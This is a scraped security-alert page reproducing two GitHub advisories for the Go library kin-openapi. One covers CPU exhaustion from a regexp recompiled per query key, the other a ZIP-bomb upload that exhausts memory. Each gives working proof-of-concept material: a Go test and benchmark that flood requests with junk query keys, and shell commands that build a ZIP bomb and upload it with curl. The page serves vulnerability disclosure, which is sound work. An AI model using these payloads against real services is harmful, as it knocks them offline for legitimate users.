Where
-Infinity
0
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

openapi3filter decodes deepObject-style query parameters by looping over every key in the request's query string. Inside that loop it recompiles a loop-invariant regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled N times for N query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of regexp.MustCompile calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service.

This is not ReDoS: the pattern is fixed (^<param>\[) and matches in linear time. The cost is the repeated compilation of an invariant regexp, once per attacker-supplied query key.

Details

In openapi3filter/reqrespdecoder.go, the deepObject branch of urlValuesDecoder.DecodeObject builds a per-parameter property map by iterating over all query keys:

go case "deepObject": propsFn = func(params url.Values) (map[string]string, error) { props := make(map[string]string) for key, values := range params { // reqrespdecoder.go:689 if !regexp.MustCompile(fmt.Sprintf(^%s\[, regexp.QuoteMeta(param))).MatchString(key) { // :690 continue } matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1) ... } ... }

The regexp built at reqrespdecoder.go:690 depends only on param — the parameter name defined in the OpenAPI spec — which is constant for the whole loop. Yet regexp.MustCompile(...) is invoked inside the for key, values := range params loop at reqrespdecoder.go:689, so it is recompiled once for every key present in the query string.

Contrast this with the already-hoisted, package-level regexp used two lines below:

go var deepObjectBracketRE = regexp.MustCompile(\[(.?)\]) // reqrespdecoder.go:41

deepObjectBracketRE is compiled exactly once at package init and reused. The per-parameter pattern at :690 should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration.

regexp.MustCompile costs on the order of a few microseconds per call. The number of iterations equals the number of query keys N, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each deepObject parameter M defined on the matched route, the request performs N × M compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU.

Affected code path: ValidateRequest → ValidateParameter → decodeStyledParameter → urlValuesDecoder.DecodeObject (the deepObject case). Any operation with at least one in: query, style: deepObject parameter is exploitable.

PoC

The following self-contained test (package openapi3filtertest) defines a spec with a single deepObject query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter.

Save as openapi3filter/advisorypoctest.go:

go package openapi3filtertest

import ( "context" "fmt" "net/http" "strings" "testing" "time"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

const specDeepObjectParam = openapi: 3.0.0 info: {title: PoC, version: 1.0.0} paths: /f: get: parameters: - name: filter in: query style: deepObject explode: true schema: {type: object, properties: {a: {type: string}}} responses: '200': {description: ok}

// TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the // number of (attacker-controlled) junk query keys because a loop-invariant // regexp is recompiled once per key. It logs timings for two key counts and // fails if the larger count crosses a clearly-abnormal CPU threshold. func o(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(specDeepObjectParam)) if err != nil { t.Fatalf("load: %v", err) } if err := doc.Validate(loader.Context); err != nil { t.Fatalf("validate: %v", err) } router, err := gorillamux.NewRouter(doc) if err != nil { t.Fatalf("router: %v", err) }

run := func(n int) time.Duration { var sb strings.Builder sb.WriteString("/f?filter[a]=x") for i := 0; i < n; i++ { fmt.Fprintf(&sb, "&j%d=1", i) } req, := http.NewRequest(http.MethodGet, sb.String(), nil) route, pathParams, err := router.FindRoute(req) if err != nil { t.Fatalf("route: %v", err) } start := time.Now() = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) return time.Since(start) }

small := run(2000) large := run(40000) t.Logf("2000 junk keys -> %v ; 40000 junk keys -> %v (cost scales with key count)", small, large) if large > 100time.Millisecond { t.Fatalf("VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation", large) } }

Run:

go test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v

Observed output on the reference machine (Go 1.25, linux/amd64):

=== RUN TestPoCDeepObjectRegexpCPU advisorypoctest.go:71: 2000 junk keys -> 16.542072ms ; 40000 junk keys -> 258.146949ms (cost scales with key count) advisorypoctest.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation --- FAIL: TestPoCDeepObjectRegexpCPU (0.28s) FAIL FAIL github.com/getkin/kin-openapi/openapi3filter 0.293s FAIL

Time grows roughly linearly with the key count (20× more keys → roughly 15× more time), and none of the j<i>=1 keys belong to the filter parameter — they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per deepObject parameter; a few concurrent such requests saturate every core.

Benchmark

The wall-clock PoC above is threshold-based and machine-sensitive. A testing.B benchmark built on the same spec (specDeepObjectParam) makes the scaling — and the per-request memory blow-up — reproducible and quantitative. It reuses the PoC's spec, router and request-shaping, sweeping the junk-key count and reporting ns/op, B/op, and allocs/op.

Save as openapi3filter/advisorypocbenchtest.go (same package, alongside the PoC):

go package openapi3filtertest

import ( "context" "fmt" "net/http" "strings" "testing"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

// BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a // deepObject query parameter as the number of attacker-controlled junk query // keys grows. Before the fix, cost scales linearly with the key count because a // loop-invariant regexp is recompiled once per key; after the fix it is // dominated by url-parsing and grows far more gently. func BenchmarkDeepObjectJunkKeys(b testing.B) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(specDeepObjectParam)) if err != nil { b.Fatalf("load: %v", err) } if err := doc.Validate(loader.Context); err != nil { b.Fatalf("validate: %v", err) } router, err := gorillamux.NewRouter(doc) if err != nil { b.Fatalf("router: %v", err) }

for , n := range []int{1000, 5000, 20000, 40000, 80000, 100000} { var sb strings.Builder sb.WriteString("/f?filter[a]=x") for i := 0; i < n; i++ { fmt.Fprintf(&sb, "&j%d=1", i) } target := sb.String()

b.Run(fmt.Sprintf("keys=%d", n), func(b testing.B) { b.ReportAllocs() for i := 0; i < b.N; i++ { req, := http.NewRequest(http.MethodGet, target, nil) route, pathParams, err := router.FindRoute(req) if err != nil { b.Fatalf("route: %v", err) } = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) } }) } }

Run:

go test ./openapi3filter/ -run '^$' -bench BenchmarkDeepObjectJunkKeys -benchmem -benchtime=2s

Results on the vulnerable code (Go 1.25, darwin/arm64, Apple M4 Pro):

| junk keys | ns/op | B/op | allocs/op | |----------:|------------:|-------------:|------------:| | 1,000 | 1,355,966 | 3,853,606 | 48,114 | | 5,000 | 7,833,901 | 18,975,316 | 240,221 | | 20,000 | 33,701,124 | 75,748,660 | 960,562 | | 40,000 | 63,365,171 | 151,394,478 | 1,920,786 | | 80,000 | 117,388,579 | 302,663,170 | 3,841,109 | | 100,000 | 147,468,311 | 375,159,565 | 4,801,189 |

The benchmark quantifies the report along two axes the single-shot PoC only hinted at:

- CPU scales cleanly linearly, with no self-limiting plateau. Every metric grows in near-exact proportion to the junk-key count across two orders of magnitude: CPU, bytes and allocations all rise ~100× from 1k to 100k keys. At 100k keys a single request burns ~147 ms of CPU before any handler runs, and the cost does not taper off — an attacker gets full linear return on each additional junk byte, with the only ceiling being the request-size limit the server chooses to impose (if any). - The recompilation dominates allocations, not just CPU. Each junk key both compiles a throwaway regexp.Regexp and allocates its compiled program as garbage: the vulnerable path costs a steady ~48 allocations and ~3.75 KB per junk key (375 MB and 4.8M allocations at 100k keys). So the same root cause drives both CPU exhaustion and heavy GC/allocator pressure — which is why this mechanism, while distinct from the adjacent memory-exhaustion advisory, also inflates memory traffic.

Impact

Uncontrolled CPU consumption (denial of service). Any service that uses openapi3filter.ValidateRequest (directly or via a router) to validate requests against a spec containing at least one in: query, style: deepObject parameter is affected. An unauthenticated attacker who can reach such an endpoint can send requests with large numbers of junk query keys; each request performs a number of regexp.MustCompile calls proportional to the request's query-key count times the number of deepObject parameters on the route. Because the work is CPU-bound and executed during validation (before any application handler runs), modest request rates can starve the process of CPU and degrade or deny service to legitimate clients. There is no impact to confidentiality or integrity.

Remediation

Hoist the invariant regexp out of the per-key loop: compile the ^<param>\[ pattern once per deepObject parameter (before iterating the query keys) and reuse the compiled regexp.Regexp for every key — mirroring how the package-level deepObjectBracketRE (reqrespdecoder.go:41) is already handled. This makes decode cost independent of the junk-key count. Matching semantics are unchanged (the pattern still derives from the spec parameter name via regexp.QuoteMeta, so it stays panic-safe for any name), and regexp.Regexp is safe for the reuse.

As a mitigation before upgrading, front affected endpoints with a limit on request/URL size or query-key count (e.g. at a reverse proxy or middleware), which bounds the number of loop iterations an attacker can force.

Notes

- Advisory relationship: Novel. Adjacent to previously reported memory-exhaustion issue in deepObject decoding (via sliceMapToSlice), but this is a distinct CPU-exhaustion mechanism — repeated compilation of a loop-invariant regexp, once per attacker-supplied query key — not covered by that earlier memory-focused advisory.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.07%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC To reproduce the vulnerability, you can use the following OpenAPI schema: yaml openapi: 3.0.0 info: title: 'Validator' version: 0.0.1 paths: /: post: requestBody: required: true content: multipart/form-data: schema: type: object required: - file properties: file: type: string format: binary responses: '200': description: Created And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function): go package main

import ( "fmt" "log" "net/http"

"github.com/getkin/kin-openapi/openapi3filter" legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

"github.com/getkin/kin-openapi/openapi3" )

func handler(w http.ResponseWriter, r http.Request) { loader := openapi3.NewLoader()

doc, err := loader.LoadFromFile("schema.yaml") if err != nil { http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError) return }

if err := doc.Validate(r.Context()); err != nil { http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest) return }

router, err := legacyrouter.NewRouter(doc) if err != nil { http.Error(w, "Failed to create router", http.StatusInternalServerError) return }

route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, "Failed to find route", http.StatusNotFound) return }

input := &openapi3filter.RequestValidationInput{ Request: r, QueryParams: r.URL.Query(), Route: route, PathParams: pathParams, }

if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil { http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest) return }

w.Write([]byte("request ok !")) }

func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil))

}

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive: shell perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements: - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?) - Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203